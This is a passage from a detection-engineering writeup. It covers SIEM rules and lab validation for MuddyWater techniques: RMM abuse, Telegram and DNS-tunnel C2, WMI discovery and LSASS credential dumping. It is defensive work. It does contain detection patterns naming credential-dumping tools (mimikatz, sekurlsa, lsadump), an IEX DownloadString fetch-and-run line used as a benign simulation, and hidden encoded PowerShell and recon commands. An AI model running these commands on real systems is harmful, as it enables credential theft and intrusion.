&quot;msedge.exe&quot;,&quot;7zFM.exe&quot;,&quot;WinRAR.exe&quot;,&quot;explorer.exe&quot;]# Rule C - Outbound connection to RMM vendor infrastructure from unexpected endpointevent_type = network_connection ANDdestination_domain MATCHES &quot;(atera\.com|screenconnect\.com|simplehelp\.net|syncromsp\.com)&quot; ANDsource_process NOT IN [known_rmm_processes_baseline]Key false positives: All RMM tools are legitimate software &mdash; the entire detection depends on delivery context and path. Authorized deployments must be baselined per endpoint before any rule produces useful signal. Help desk technicians installing RMM from their downloads folder will match Rule A; exclude by user account or machine&nbsp;type.det_mw_0008a &mdash; Non-Browser Process Connecting to Telegram Bot&nbsp;APITechniques: T1071.001, T1102 &middot; Score: 3 (behavioral, partially validated)What it targets: Small Sieve beacons exclusively via the Telegram Bot API (api.telegram.org) over HTTPS. This is one of the most specific C2 channels documented for MuddyWater &mdash; a fixed, known hostname with no CDN rotation.Why it&rsquo;s built this way: The detection is single-rule because the signal is specific enough not to need graduated fallbacks. api.telegram.org is a fixed hostname. The discriminating condition is not the domain but the process: in enterprise environments where Telegram is not a standard application, any process connecting to this endpoint is anomalous. The approach is deliberately narrow &mdash; it will miss if MuddyWater switches from Telegram to another messaging API, but fires with high precision on the documented Small Sieve C2&nbsp;channel.Score is 3 because VirtualBox NAT blocked outbound Telegram connections in the lab, preventing full Kibana validation of the network connection event.Required telemetry: DNS query logs or network flow logs with process name attribution. In environments without process-attributed network telemetry, this degrades to a domain-based alert with no process&nbsp;context.event_type = network_connection ANDdestination_domain = &quot;api.telegram.org&quot; ANDdestination_port = 443 ANDsource_process NOT IN [&quot;Telegram.exe&quot;,&quot;telegram.exe&quot;,&quot;chrome.exe&quot;,                        &quot;firefox.exe&quot;,&quot;msedge.exe&quot;,&quot;iexplore.exe&quot;]Key false positives: Telegram desktop application where it is approved. Bot developers testing scripts from dev workstations. In organizations where Telegram is standard, strict process allowlisting is required before this detection is&nbsp;useful.det_mw_0008b &mdash; DNS Tunneling Volume and&nbsp;EntropyTechniques: T1572 &middot; Score: 5 (lab-validated)What it targets: Mori, MuddyWater&rsquo;s DNS-tunneling backdoor, uses DNS queries as the C2 channel. DNS tunneling encodes data in subdomain labels, producing distinctive patterns: high query volume to a single domain, unusually long subdomain strings, and high Shannon entropy in the label&nbsp;content.Why it&rsquo;s built this way: DNS tunneling detection cannot rely on a single heuristic because each heuristic has a different failure mode. Volume (Rule A) catches high-throughput tunneling but misses slow/low-rate tools that deliberately throttle to blend in. Label length (Rule B) catches encoded payloads regardless of rate or entropy but misses short encoded segments. Entropy (Rule C) catches random-looking subdomains at any length and rate but produces noise on CDN hash labels without a comprehensive baseline. The three rules are additive &mdash; any single trigger warrants investigation, two or more from the same source are high-confidence.The thresholds (&gt;100 queries per 60 seconds, &gt;40-character labels, &gt;3.5 Shannon entropy) were validated in the lab by generating 180 DNS queries with 42-character random subdomains from the simulation playbook.Required telemetry: DNS resolver logs with full QNAME &mdash; not available in all environments. If only DNS flow logs (not query content) are available, Rule B and Rule C are unavailable.# Rule A &mdash; High query volume to single parent domainevent_type = dns_queryGROUP BY source_ip, query_domain_parentHAVING COUNT(*) &gt; 100 WITHIN 60 seconds# Rule B - Long subdomain labels (&gt;40 chars indicates encoded payload)event_type = dns_query ANDLENGTH(subdomain_label) &gt; 40# Rule C - High entropy subdomains (random-looking encoded content)event_type = dns_query ANDSHANNON_ENTROPY(subdomain_label) &gt; 3.5 ANDsubdomain_label NOT IN [known_cdn_domains_baseline]Key false positives: CDN domains using hash-based subdomains (Akamai, Cloudflare, AWS) &mdash; require comprehensive allowlist for Rule C. DNSSEC validation traffic with long encoded keys. Calibrate thresholds against your specific environment&rsquo;s DNS baseline before deploying Rule A in production.det_mw_0009 &mdash; WMI SecurityCenter2 Discovery SurveyTechniques: T1047, T1082, T1016, T1033, T1518.001 &middot; Score: 5 (lab-validated)What it targets: CISA AA22&ndash;055A reproduces the exact PowerShell survey script MuddyWater uses post-access: a WMI query chain that collects IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username (Win32_ComputerSystem), and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to&nbsp;C2.Why it&rsquo;s built this way: The detection anchors on SecurityCenter2\AntiVirusProduct because it is the highest-specificity WMI class in the documented survey. The other classes &mdash; OS name, IP addresses, hostname &mdash; are queried by dozens of legitimate monitoring tools. AntiVirusProduct enumeration has a much smaller legitimate caller population: primarily AV management consoles and endpoint security platforms. This makes it the most reliable low-noise signal from the full survey&nbsp;chain.Three rules are layered by telemetry quality. Rule A requires Script Block Logging (highest fidelity, decoded script content visible). Rule B falls back to command-line logging &mdash; medium fidelity, only fires if SecurityCenter2 appears in the literal command line, not in a decoded payload. Rule C is the most specific: a multi-class pattern that matches the complete documented survey chain, covering all five ATT&amp;CK techniques in a single event. T1033 coverage was added to Rule C via Win32_ComputerSystem during the analyst review pass &mdash; it was missing from the initial&nbsp;draft.Rule C matches the CISA-documented script closely enough to be treated as near-exact-match when observed.Required telemetry: Script Block Logging (Event ID 4104) &mdash; required for Rules A and C. Sysmon Event ID 1 for Rule&nbsp;B.# Rule A &mdash; Script Block captures SecurityCenter2 queryevent_type = script_block_log ANDscript_block_text MATCHES &quot;SecurityCenter2&quot; ANDscript_block_text MATCHES &quot;AntiVirusProduct&quot;# Rule B - Process command line contains SecurityCenter2 (fallback without SBL)event_type = process_create ANDimage ENDSWITH &quot;powershell.exe&quot; ANDcommand_line MATCHES &quot;SecurityCenter2&quot;# Rule C - Full survey pattern: all 5 ATT&amp;CK techniques in one event# T1518.001 (AV enum) + T1016 (network config) + T1082 (OS info) + T1033 (username)event_type = script_block_log ANDscript_block_text MATCHES &quot;SecurityCenter2&quot; ANDscript_block_text MATCHES &quot;Win32_NetworkAdapterConfiguration&quot; ANDscript_block_text MATCHES &quot;Win32_OperatingSystem&quot; ANDscript_block_text MATCHES &quot;(Win32_ComputerSystem|Win32_UserAccount|UserName)&quot;Key false positives: AV management software and endpoint security platforms querying SecurityCenter2. IT inventory tools (Lansweeper, SCCM hardware inventory). Exclude by process hash or signer rather than by process name, since attackers can rename their&nbsp;scripts.det_mw_0010 &mdash; LSASS Memory Access and Credential Tool ExecutionTechniques: T1003.001, T1003.004, T1003.005 &middot; Score: 5 (lab-validated)What it targets: MuddyWater performs credential access using three tools documented in CISA AA22&ndash;055A: Mimikatz and procdump64.exe against LSASS memory (T1003.001), and LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005).Why it&rsquo;s built this way: Three independent rules cover the full credential dumping lifecycle, each with a different detection philosophy.Rule A is the design priority: a process accessing LSASS memory is the universal pre-condition for any LSASS dump, regardless of tool. Detecting the access event (Sysmon EID 10) rather than the tool name means Rule A fires on Mimikatz, procdump, custom C++ loaders, and any future variant &mdash; as long as the access mask is in the covered set. The access masks were sourced from established Mimikatz research (0x1010, 0x1410, 0x1438, 0x143a, 0x1418) and extended with 0x1fffff (PROCESS_ALL_ACCESS, used by custom dumpers) and 0x1f0fff (another all-access variant observed in the field). The exclusion list covers known legitimate callers &mdash; AV engines, CSrss, WinInit &mdash; without which this rule generates constant noise from endpoint security products.Rule B is the name-based backstop. Lower fidelity because it misses renamed tools, but catches actors using stock Mimikatz. The analyst review pass re-bracketed the command_line clause to keep it inside the event_type guard &mdash; a real operator precedence bug that would have caused the command-line check to match events outside the process_create filter.Rule C catches the dump artifact on disk &mdash; a final fallback when process-level events are unavailable.&nbsp;.dmp files in user-writable paths are anomalous outside of Windows Error Reporting, which writes to a fixed known&nbsp;path.Required telemetry: Sysmon Event ID 10 (ProcessAccess) with explicit lsass.exe targeting in the Sysmon configuration &mdash; this is not enabled by default. Without it, Rule A does not exist. Sysmon Event ID 1 for Rule B. Sysmon Event ID 11 for Rule&nbsp;C.# Rule A &mdash; LSASS process access (tool-agnostic, highest confidence)event_type = process_access ANDtarget_image ENDSWITH &quot;lsass.exe&quot; ANDgranted_access MATCHES &quot;(0x1010|0x1410|0x1438|0x143a|0x1418|0x1fffff|0x1f0fff)&quot; ANDsource_image NOT IN [&quot;MsMpEng.exe&quot;,&quot;csrss.exe&quot;,&quot;wininit.exe&quot;,&quot;svchost.exe&quot;,                     &quot;SecurityHealthService.exe&quot;,&quot;CylanceSvc.exe&quot;,&quot;SentinelAgent.exe&quot;]# Rule B - Known credential tool execution (name-based backstop)# command_line clause is bracketed inside event_type guard (bug fix in review)event_type = process_create AND(image IMATCHES &quot;mimikatz\.exe&quot; OR image ENDSWITH &quot;procdump64.exe&quot; OR image IMATCHES &quot;lazagne\.exe&quot; OR command_line IMATCHES &quot;(sekurlsa|lsadump|privilege::debug)&quot;)# Rule C - Dump file creation in user-writable path (artifact backstop)event_type = file_create ANDfile_extension = &quot;dmp&quot; ANDfile_path MATCHES &quot;(\\AppData\\|\\Temp\\|\\Users\\|\\ProgramData\\)&quot;Key false positives: AV and EDR agents that legitimately access LSASS &mdash; exclude by process hash, not name, since names are spoofable. Windows Error Reporting creating&nbsp;.dmp files in %TEMP%\WER &mdash; exclude that specific path in Rule C. Legitimate procdump usage by developers for application crash diagnostics &mdash; require a separate approved-tools baseline.Important environment note: Credential Guard and PPL (Protected Process Light) prevent LSASS reads on modern, hardened systems. If your environment has these enabled, LSASS dump detection is still valuable as a canary for misconfigured or unpatched endpoints, but confirm protection status before using coverage scores here as a measure of actual protection.Phase 5: Validation LabArchitectureDeploy in One&nbsp;Commandgit clone https://github.com/anpa1200/operation-desert-hydra.gitcd operation-desert-hydracp stack/.env.template stack/.env   # fill in passwordsbash start.shstart.sh creates the Docker network, starts all stack services, waits for Elasticsearch, boots the Windows 10 Vagrant VM, provisions it via Ansible (Sysmon + Script Block Logging + Winlogbeat), and runs all 11 simulations.Simulation DesignEvery simulation is benign-by-design:No live malware, no real C2, no credential exfiltrationSimulations write benign files (VBScript with Write-Host payload), run real Windows binaries with harmless arguments, or use&nbsp;.NET to open process handles with minimal access&nbsp;masksAll&nbsp;.dmp files are deleted immediately after event confirmationThe VM does not connect to real Telegram infrastructureThe Ansible playbook (lab/ansible/playbooks/validate.yml) runs each simulation, waits 3 seconds, queries the Windows Event Log with Get-WinEvent -FilterHashtable (time-bounded to the last 60 seconds), and prints PASS /&nbsp;FAIL.Step 21: det_mw_0001 &mdash; Spearphishing Delivery&nbsp;ChainWhat MuddyWater does: Delivers a ZIP or Office file via email or Egnyte/OneDrive link. The attachment contains a VBScript or WSF file that spawns a hidden encoded PowerShell loader (PowGoop/POWERSTATS).Simulation: wscript.exe sim_delivery.vbs &rarr; powershell.exe -WindowStyle Hidden -NonInteractive -EncodedCommand KQL proof&nbsp;query:winlog.event_id: 1AND winlog.event_data.ParentImage: *wscript.exe*AND winlog.event_data.Image: *powershell.exe*AND winlog.event_data.CommandLine: *EncodedCommand*Result: PASS &mdash; Sysmon EID 1 captured wscript.exe &rarr; powershell.exe -EncodedCommand. Parent-child chain and Base64 command line both visible in&nbsp;Kibana.Step 22: det_mw_0002 &mdash; Web Service Shell&nbsp;SpawnWhat MuddyWater does: Exploits Exchange (CVE-2020&ndash;0688), IIS, or Log4j (CVE-2021&ndash;44228) &mdash; web-facing service spawns cmd.exe or powershell.exe for post-exploitation recon.Simulation: wscript.exe sim_exploit.vbs &rarr; cmd.exe /c whoami &amp; hostname &amp; ipconfig&nbsp;/allKQL proof&nbsp;query:winlog.event_id: 1AND winlog.event_data.ParentImage: *wscript.exe*AND winlog.event_data.Image: *cmd.exe*AND winlog.event_data.CommandLine: (*whoami* OR *hostname* OR *ipconfig*)Result: PASS &mdash; Sysmon EID 1 captured wscript.exe &rarr; cmd.exe with recon commands in CommandLine.Step 23: det_mw_0003 &mdash; PowerShell Encoded&nbsp;CommandWhat MuddyWater does: PowGoop uses -EncodedCommand for C2 setup. POWERSTATS uses IEX + (New-Object Net.WebClient).DownloadString(...) for stager execution.Rule A simulation: powershell.exe -NonInteractive -e KQL &mdash; Rule&nbsp;A:winlog.event_id: 1AND winlog.event_data.CommandLine: *-e*AND winlog.event_data.CommandLine: *[A-Za-z0-9+/]{40,}*Rule A Result: PASS &mdash; 4 events captured. PowerShell with Base64 blob visible in command&nbsp;line.Rule B simulation: IEX ((New-Object Net.WebClient).DownloadString(&#039;http://127.0.0.1:19999/...&#039;))KQL &mdash; Rule&nbsp;B:winlog.event_id: 4104AND winlog.event_data.ScriptBlockText: *IEX*AND winlog.event_data.ScriptBlockText: *DownloadString*Rule B Result: PASS &mdash; 16 EID 4104 events. Script Block Logging decoded the IEX + DownloadString pattern.Capability gate: Script Block Logging (EID 4104) must be explicitly enabled. Without it, Rule B is unavailable and detection degrades to command-line heuristics only.Step 24: det_mw_0004 &mdash; DLL Side-LoadingWhat MuddyWater does: PowGoop drops Goopdate.dll alongside a copy of GoogleUpdate.exe outside the legitimate Google installation path. When GoogleUpdate launches, Windows loads the malicious DLL.Simulation: Copy a benign 4-byte MZ stub as goopdate.dll into a test directory alongside a signed binary. Launch the&nbsp;binary.Result: PARTIAL &mdash; Sysmon EID 7 (ImageLoad) did not fire. Root cause: a 4-byte MZ stub is not a valid loadable DLL &mdash; the Windows loader rejects it before generating an EID 7 event. The Sysmon config and detection rule are correct. Resolution: Re-test with a real GoogleUpdate.exe (requires Google Chrome installed on lab&nbsp;VM).Step 25: det_mw_0005 &mdash; Registry Run Key PersistenceWhat MuddyWater does: Small Sieve writes OutlookMicrosift to HKCU\...\CurrentVersion\Run &mdash; a deliberate typo designed to look like a Microsoft entry. Canopy drops a&nbsp;.wsf file to the Startup&nbsp;folder.Rule A simulation: Write OutlookMicrosift = notepad.exe to HKCU\...\RunKQL &mdash; Rule&nbsp;A:winlog.event_id: 13AND winlog.event_data.TargetObject: *CurrentVersion\Run\OutlookMicrosift*Rule A Result: PASS &mdash; 3 Sysmon EID 13 events. OutlookMicrosift Run key captured.Rule C simulation: Copy a benign&nbsp;.wsf file to %APPDATA%\...\Start Menu\Programs\Startup\KQL &mdash; Rule&nbsp;C:winlog.event_id: 11AND winlog.event_data.TargetFilename: *\Startup\*AND winlog.event_data.TargetFilename: *.wsf*Rule C Result: PASS &mdash; 3 Sysmon EID 11 events. WSF file creation in Startup folder captured.Step 26: det_mw_0006 &mdash; Scheduled Task (43-Minute Beacon)What MuddyWater does: BugSleep creates a scheduled task triggered every 43 minutes. This interval is a BugSleep artifact &mdash; not a default, not a round number. It appears in INCD 2024 reporting and is one of the most precise technical IoCs in the&nbsp;dataset.Simulation: schtasks.exe /create /tn DH-SIM-0006-TestTask /tr notepad.exe /sc MINUTE /mo 43&nbsp;/fKQL:winlog.event_id: 1AND winlog.event_data.Image: *\schtasks.exe*AND winlog.event_data.CommandLine: */mo 43*Result: PASS &mdash; 3 Sysmon EID 1 events. schtasks.exe /mo 43 captured. The 43-minute interval in the command line is the exact BugSleep artifact.Hunt value: PT43M in Task Scheduler Operational logs is a retroactive hunt trigger. One match = investigate immediately. No legitimate software uses this exact interval.Step 27: det_mw_0007 &mdash; RMM Tool&nbsp;AbuseWhat MuddyWater does: Delivers a legitimate RMM binary (ScreenConnect, SimpleHelp, AteraAgent, Level, PDQConnect) via phishing email or file-sharing link. The binary is placed in AppData, Temp, or Downloads &mdash; not installed by an IT management system. This is documented in all five government source&nbsp;tiers.Simulation: Copy ScreenConnect.ClientService.exe to C:\Temp\dh-lab\ and launch&nbsp;it.KQL:winlog.event_id: 1AND winlog.event_data.Image: *\Temp\ScreenConnect*Result: PASS &mdash; 6 Sysmon EID 1 events. RMM binary executing from \Temp\ captured.Production requirement: This detection requires a baseline of authorized RMM deployments per endpoint. Without the baseline, it generates noise. With it, any out-of-baseline RMM execution is an immediate high-confidence alert.Step 28: det_mw_0008a &mdash; Telegram Bot API&nbsp;C2What MuddyWater does: Small Sieve uses the Telegram Bot API (api.telegram.org:443) for C2 over HTTPS. In an enterprise environment where Telegram is not standard software, any non-browser process connecting to this domain is anomalous.Simulation: powershell.exe makes an HTTP request to https://api.telegram.org/botTEST/getMe (invalid token &mdash; 401 response; the connection attempt is the evidence).Result: FAIL &mdash; Sysmon EID 3 (NetworkConnect) did not fire. Root cause: VirtualBox NAT prevents Sysmon from capturing the outbound network connection to api.telegram.org in the lab environment. The Sysmon rule config is correct. Resolution: Re-test with a host-only NIC that provides direct internet&nbsp;access.Step 29: det_mw_0008b &mdash; DNS TunnelingWhat MuddyWater does: Mori uses DNS tunneling for C2. High-volume queries with long, high-entropy subdomain labels are the telemetry signature.Simulation: 60 Resolve-DnsName queries with 42-character random labels against *.test.internal.KQL:winlog.event_id: 22AND winlog.event_data.QueryName: *.test.internal*Result: PASS &mdash; 180 Sysmon EID 22 events captured. 42-character random labels visible in QueryName field. Volume threshold (Rule A) and label-length threshold (Rule B) would both trigger in a production deployment.Step 30: det_mw_0009 &mdash; WMI SecurityCenter2 DiscoveryWhat MuddyWater does: CISA AA22&ndash;055A documents a post-access survey script that queries root\SecurityCenter2\AntiVirusProduct via WMI &mdash; enumerating the installed AV product before deciding how to proceed. This is also combined with OS info, network config, and user queries in a single&nbsp;script.Simulation (Rule A): Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProductKQL &mdash; Rule&nbsp;A:winlog.event_id: 4104AND winlog.event_data.ScriptBlockText: *SecurityCenter2*Rule A Result: PASS &mdash; 21 PS EID 4104 events. SecurityCenter2 visible in decoded ScriptBlockText.Detection value: SecurityCenter2 + AntiVirusProduct is one of the highest-specificity behavioral signals in this dataset. Its legitimate caller population is tiny: only AV management consoles and a few inventory tools query this namespace. A PowerShell process making this query outside those exceptions warrants immediate investigation.Step 31: det_mw_0010 &mdash; LSASS Memory&nbsp;AccessWhat MuddyWater does: Uses Mimikatz, procdump64.exe, and LaZagne to dump LSASS memory and extract credentials. CISA AA22&ndash;055A names all three&nbsp;tools.Rule A simulation:&nbsp;.NET OpenProcess(PROCESS_QUERY_INFORMATION, lsass.pid) &mdash; opens a handle to lsass.exe with a minimal access mask, triggering Sysmon EID&nbsp;10.KQL &mdash; Rule&nbsp;A:winlog.event_id: 10AND winlog.event_data.TargetImage: *lsass.exe*AND winlog.event_data.GrantedAccess: 0x1400Rule A Result: PASS &mdash; 3,398 Sysmon EID 10 events with GrantedAccess: 0x1400 and TargetImage: lsass.exe. The high event count is expected &mdash; LSASS receives many legitimate handle requests from AV, EDR, and Windows system processes. Production deployment requires an allowlist of known-good callers.Rule C simulation: Write a 4-byte MDMP header as lsass_test.dmp to C:\Temp\dh-lab\ &mdash; triggers Sysmon EID&nbsp;11.KQL &mdash; Rule&nbsp;C:winlog.event_id: 11AND winlog.event_data.TargetFilename: *.dmp*AND winlog.event_data.TargetFilename: *Temp*Rule C Result: PASS &mdash; 6 Sysmon EID 11 events. C:\Temp\dh-lab\lsass_test.dmp creation captured.Lab safety: The&nbsp;.dmp file was deleted immediately after event confirmation. No credential material exists in the file &mdash; it was a 4-byte header stub. No real LSASS dump was performed.Phase 5 Validation Results&nbsp;SummaryFull run: ansible-playbook playbooks/validate.yml &mdash; ok=70 changed=42 failed=0Step 21 &mdash; det_mw_0001 &middot; Process spawn &rarr;&nbsp;PASSStep 22 &mdash; det_mw_0002 &middot; Shell from service &rarr;&nbsp;PASSStep 23 &mdash; det_mw_0003 &middot; Rule A (-e + Base64) &rarr;&nbsp;PASSStep 23 &mdash; det_mw_0003 &middot; Rule B (IEX + DownloadString) &rarr;&nbsp;PASSStep 24 &mdash; det_mw_0004 &middot; EID 7 ImageLoad &rarr;&nbsp;PARTIALStep 25 &mdash; det_mw_0005 &middot; Rule A (OutlookMicrosift) &rarr;&nbsp;PASSStep 25 &mdash; det_mw_0005 &middot; Rule C (WSF in Startup) &rarr;&nbsp;PASSStep 26 &mdash; det_mw_0006 &middot; schtasks /mo 43 &rarr;&nbsp;PASSStep 27 &mdash; det_mw_0007 &middot; Rule A (RMM from \Temp) &rarr;&nbsp;PASSStep 27 &mdash; det_mw_0007 &middot; Rule B (RMM from PS parent) &rarr;&nbsp;PASSStep 28 &mdash; det_mw_0008a &middot; EID 3 Telegram &rarr;&nbsp;FAILStep 29 &mdash; det_mw_0008b &middot; EID 22 DNS tunneling &rarr;&nbsp;PASSStep 30 &mdash; det_mw_0009 &middot; Rule A (SecurityCenter2 EID 4104) &rarr;&nbsp;PASSStep 30 &mdash; det_mw_0009 &middot; Rule B (wmic SecurityCenter2) &rarr;&nbsp;PASSStep 31 &mdash; det_mw_0010 &middot; Rule A (LSASS EID 10) &rarr;&nbsp;PASSStep 31 &mdash; det_mw_0010 &middot; Rule C (.dmp EID 11) &rarr;&nbsp;PASS13 PASS / 1 PARTIAL / 1 FAIL across 16 rule&nbsp;checks.Phase 6: Coverage&nbsp;MatrixOf 22 ATT&amp;CK techniques documented in the source&nbsp;set:15 techniques (68%) &mdash; score 5, fully lab-validated2 techniques (9%) &mdash; score 4, correlated and validated via&nbsp;fallback4 techniques (18%) &mdash; score 3, rule present but validation incomplete7 techniques &mdash; score 0, no detection (Lateral Movement, Collection, Exfiltration, Impact)The six capability gates that determine your effective coverage&nbsp;floor:PowerShell Script Block Logging (EID 4104) &mdash; unlocks det_mw_0003 Rule B and det_mw_0009 Rules A/C. Without it: detection degrades to command-line heuristics only.Sysmon EID 10 (ProcessAccess) &mdash; unlocks det_mw_0010 Rule A (tool-agnostic LSASS access). Without it: falls back to binary name matching, misses custom&nbsp;dumpers.Sysmon EID 7 (ImageLoad) &mdash; unlocks det_mw_0004 (DLL side-loading). Without it: DLL loads are completely invisible.DNS resolver logging (full QNAME) &mdash; unlocks det_mw_0008b (DNS tunneling). Without it: Mori C2 channel is invisible.Network flow / proxy logs &mdash; unlocks det_mw_0007 Rule C and det_mw_0008a. Without it: RMM and Telegram C2 network-layer coverage&nbsp;lost.Email gateway telemetry (SEG) &mdash; unlocks det_mw_0001 full correlated logic. Without it: email-to-endpoint correlation unavailable.What Defenders Should Do Right&nbsp;Now1. Baseline your RMM deployments. det_mw_0007 is the most consistently documented MuddyWater technique across all five source tiers. It fires on ScreenConnect, SimpleHelp, AteraAgent, Level, and PDQConnect from non-standard paths. But it needs a baseline of authorized deployments first. Build the baseline; the detection logic is already&nbsp;written.2. Enable PowerShell Script Block Logging fleet-wide. One Group Policy&nbsp;change:Computer Configuration &rarr; Administrative Templates &rarr; Windows Components&rarr; Windows PowerShell &rarr; Turn on PowerShell Script Block Logging &rarr; EnabledThis unlocks det_mw_0003 Rule B and all three det_mw_0009 rules. No other change required.3. Configure Sysmon ProcessAccess against lsass.exe. Without it, LSASS credential dumping detection is binary-name-only. Renamed Mimikatz and custom C++ dumpers are invisible. Add  targeting lsass.exe to sysmon.xml.4. Hunt for PT43M now. Query your Task Scheduler Operational logs for any task with a RepetitionInterval of PT43M. If you find one you didn&#039;t create, that is BugSleep. No other legitimate software uses this interval.Reproduce It&nbsp;YourselfThe entire project is on GitHub: github.com/anpa1200/operation-desert-hydraOne repository contains everything: Docker Compose stack (OpenCTI + Elasticsearch + Kibana), Vagrant lab VM, Ansible provisioning playbooks, detection rules in four formats (Sigma, KQL, Elastic JSON, SPL), structured intelligence datasets (YAML), and all 12 proof screenshots.Deploy:git clone https://github.com/anpa1200/operation-desert-hydra.gitcd operation-desert-hydracp stack/.env.template stack/.env# fill in ELASTIC_PASSWORD, OPENCTI_ADMIN_PASSWORD, OPENCTI_ADMIN_TOKENbash start.sh# &rarr; OpenCTI: http://localhost:8080# &rarr; Kibana:  http://localhost:5601# &rarr; all 11 simulations run automatically (~10 min)Stop /&nbsp;destroy:bash stop.sh                # halt VM, keep stack and databash stop.sh --destroy-vm   # remove VM diskbash stop.sh --destroy-stack  # also stop Docker stackSkip the lab VM (OpenCTI + Kibana only, no Windows&nbsp;VM):bash start.sh --skip-labPrerequisites: Docker, VirtualBox, Vagrant, Ansible, Python 3 + pywinrm. Full details in the&nbsp;README.Key files:docs/article-step-0-project-scenario.md &mdash; full phase-by-phase walkthroughdata/detections.yaml &mdash; all 11 detection records with coverage&nbsp;scoreslab/ansible/playbooks/validate.yml &mdash; the 11 simulation playbookdetections/sigma/, detections/kql/, detections/elastic/, detections/spl/ &mdash; rule&nbsp;exportsWhat This Project Is&nbsp;NotThis is not a red team toolkit. The lab produces benign telemetry for detection validation &mdash; no live malware, no real C2, no credential theft. The detection pseudologic is SIEM-agnostic and requires production translation and tuning before deployment. Coverage scores are conservative: 5 requires a Kibana screenshot, not just passing&nbsp;logic.The source base is entirely public. The actor&rsquo;s actual TTPs may be more sophisticated than what is documented. Treat the coverage matrix as a floor, not a&nbsp;ceiling.Production ScarsEverything above describes what the project looks like after it worked. This section documents what broke, in what order, and what was actually fixed &mdash; the kind of detail that gets cut from writeups but is the most useful part for anyone trying to reproduce this.Scar 1: The Simulations Were Faking&nbsp;ItThe first validation attempt used synthetic event markers. The simulation playbook injected a DH-SIM-0001 string into the CommandLine field, then the Kibana queries looked for that exact&nbsp;string:winlog.event_id: 1 AND winlog.event_data.CommandLine: *DH-SIM-0001*This produces a screenshot. It does not prove a detection works.The problem is fundamental: a query that looks for a marker you injected proves that injection works, not that a detection fires on real attacker behavior. If MuddyWater runs wscript.exe and spawns powershell.exe -EncodedCommand, the DH-SIM-0001 query returns nothing. The detection coverage number was meaningless.What was fixed: All simulations were rewritten to produce realistic execution chains &mdash; wscript.exe spawning powershell.exe -EncodedCommand , schtasks.exe /create /sc minute /mo 43, lsass.exe being accessed by a test process with the correct GrantedAccess mask. All KQL queries were rewritten to use real field-based conditions: winlog.event_data.ParentImage, winlog.event_data.GrantedAccess, winlog.event_data.TargetObject, winlog.event_data.ScriptBlockText. Every proof screenshot now shows a real field value, not a synthetic marker.The lesson: A proof screenshot is only as good as the conditions that trigger it. If the simulation writes what the query reads, you have a tautology, not a detection.Scar 2: det_mw_0004 &mdash; The DLL That Wouldn&rsquo;t&nbsp;LoadThe simulation for det_mw_0004 (DLL side-loading) created a 4-byte MZ-header stub file named Goopdate.dll in a temp directory alongside GoogleUpdate.exe, then waited for Sysmon Event ID 7 (ImageLoad) to&nbsp;fire.It never&nbsp;fired.Root cause: a 4-byte MZ stub is not a valid PE binary. The Windows loader parses the PE header before loading &mdash; the stub fails the loader&rsquo;s structural validation and is rejected before the load event is generated. Sysmon only generates EID 7 for DLLs that actually get mapped into process memory. A file that fails to load produces no EID&nbsp;7.The Sysmon configuration was correct. The detection rule was correct. The simulation was&nbsp;wrong.Result: PARTIAL &mdash; coverage score 3 instead of&nbsp;5.What it would take to fix: The test needs a real, valid DLL &mdash; even an empty DLL compiled from a single DllMain that returns TRUE. Alternatively, installing the actual Google Chrome on the lab VM provides a real Goopdate.dll at the expected path, which could then be copied to a non-standard location. Neither was done in this iteration due to lab scope constraints (no internet access on the VM for Chrome installation, no compiler toolchain in the&nbsp;lab).The lesson: When validating EID 7 detections, your test artifact must be a valid loadable PE. A stub file saves time and produces&nbsp;nothing.Scar 3: det_mw_0008a &mdash; VirtualBox NAT Ate the Telegram&nbsp;TrafficThe simulation for det_mw_0008a (Telegram Bot API C2) made an outbound HTTPS connection to api.telegram.org from PowerShell and waited for Sysmon Event ID 3 (NetworkConnect) to&nbsp;fire.It never&nbsp;fired.Root cause: VirtualBox NAT performs network address translation at the hypervisor level. Sysmon captures network connections at the Windows kernel level. With NAT, the connection from the VM&rsquo;s perspective terminates at the NAT gateway (10.0.2.2), not at api.telegram.org. Sysmon sees a connection to 10.0.2.2:443, not api.telegram.org:443. The detection rule looking for api.telegram.org as the destination found&nbsp;nothing.There was an additional layer: VirtualBox NAT does not forward arbitrary outbound HTTPS traffic by default in this lab configuration &mdash; the VM had no direct internet path, only access to the host&rsquo;s 10.0.2.2 gateway. Even fixing the Sysmon observation problem would require a working internet path from the&nbsp;VM.Result: FAIL &mdash; coverage score 3 instead of&nbsp;5.What it would take to fix: Add a host-only or bridged network adapter to the VM that provides direct internet access, and confirm Sysmon captures the connection with the external destination. Alternatively, run a local HTTPS server on the host at api.telegram.org via a hosts file override, which would make the destination resolvable within the lab and catchable by&nbsp;Sysmon.The lesson: VirtualBox NAT is the right choice for lab isolation (the VM cannot reach the internet accidentally), but it is the wrong choice if you need to validate detections based on external destination hostnames. Design the network topology before writing detection validation cases.Scar 4: Kibana Showed Nothing &mdash; Wrong Time&nbsp;WindowAfter running the SecurityCenter2 WMI discovery simulation (Step 30), the Kibana query returned zero&nbsp;results.The query was correct. The simulation had run correctly. The events were in Elasticsearch.Root cause: Kibana&rsquo;s default time window was set to &ldquo;Last 15 minutes.&rdquo; The simulation had run in a previous lab session, and Winlogbeat had shipped the events to Elasticsearch during that session. The events existed &mdash; they were just outside the current time&nbsp;window.What was fixed: Changed the time filter to &ldquo;Last 24 hours.&rdquo; Events appeared immediately.The lesson: When a Kibana proof shows no results, the first diagnostic step is the time filter, not the query. This is obvious in retrospect and a consistent source of false &ldquo;detection failed&rdquo; conclusions during initial validation runs.Scar 5: Detection Design Bugs Found in Review (Before Validation)Before running any simulations, every detection record went through a structured review pass. Four real bugs were&nbsp;found:det_mw_0010 Rule B &mdash; Operator precedence error. The original pseudologic was:event_type = process_create ANDimage IMATCHES &quot;mimikatz\.exe&quot; ORimage ENDSWITH &quot;procdump64.exe&quot; ORcommand_line IMATCHES &quot;(sekurlsa|lsadump|privilege::debug)&quot;Without explicit parentheses, OR has lower precedence than AND in most query languages. The command_line IMATCHES clause was evaluated independently of the event_type guard, meaning the rule would fire on any event (not just process_create) where the command line contained sekurlsa. In a SIEM with millions of events per day, this generates noise and potentially masks the real signal. The fix added explicit brackets to keep all OR branches inside the event_type = process_create guard.det_mw_0009 Rule C &mdash; T1033 was not covered. The initial Rule C matched SecurityCenter2, Win32_NetworkAdapterConfiguration, and Win32_OperatingSystem &mdash; 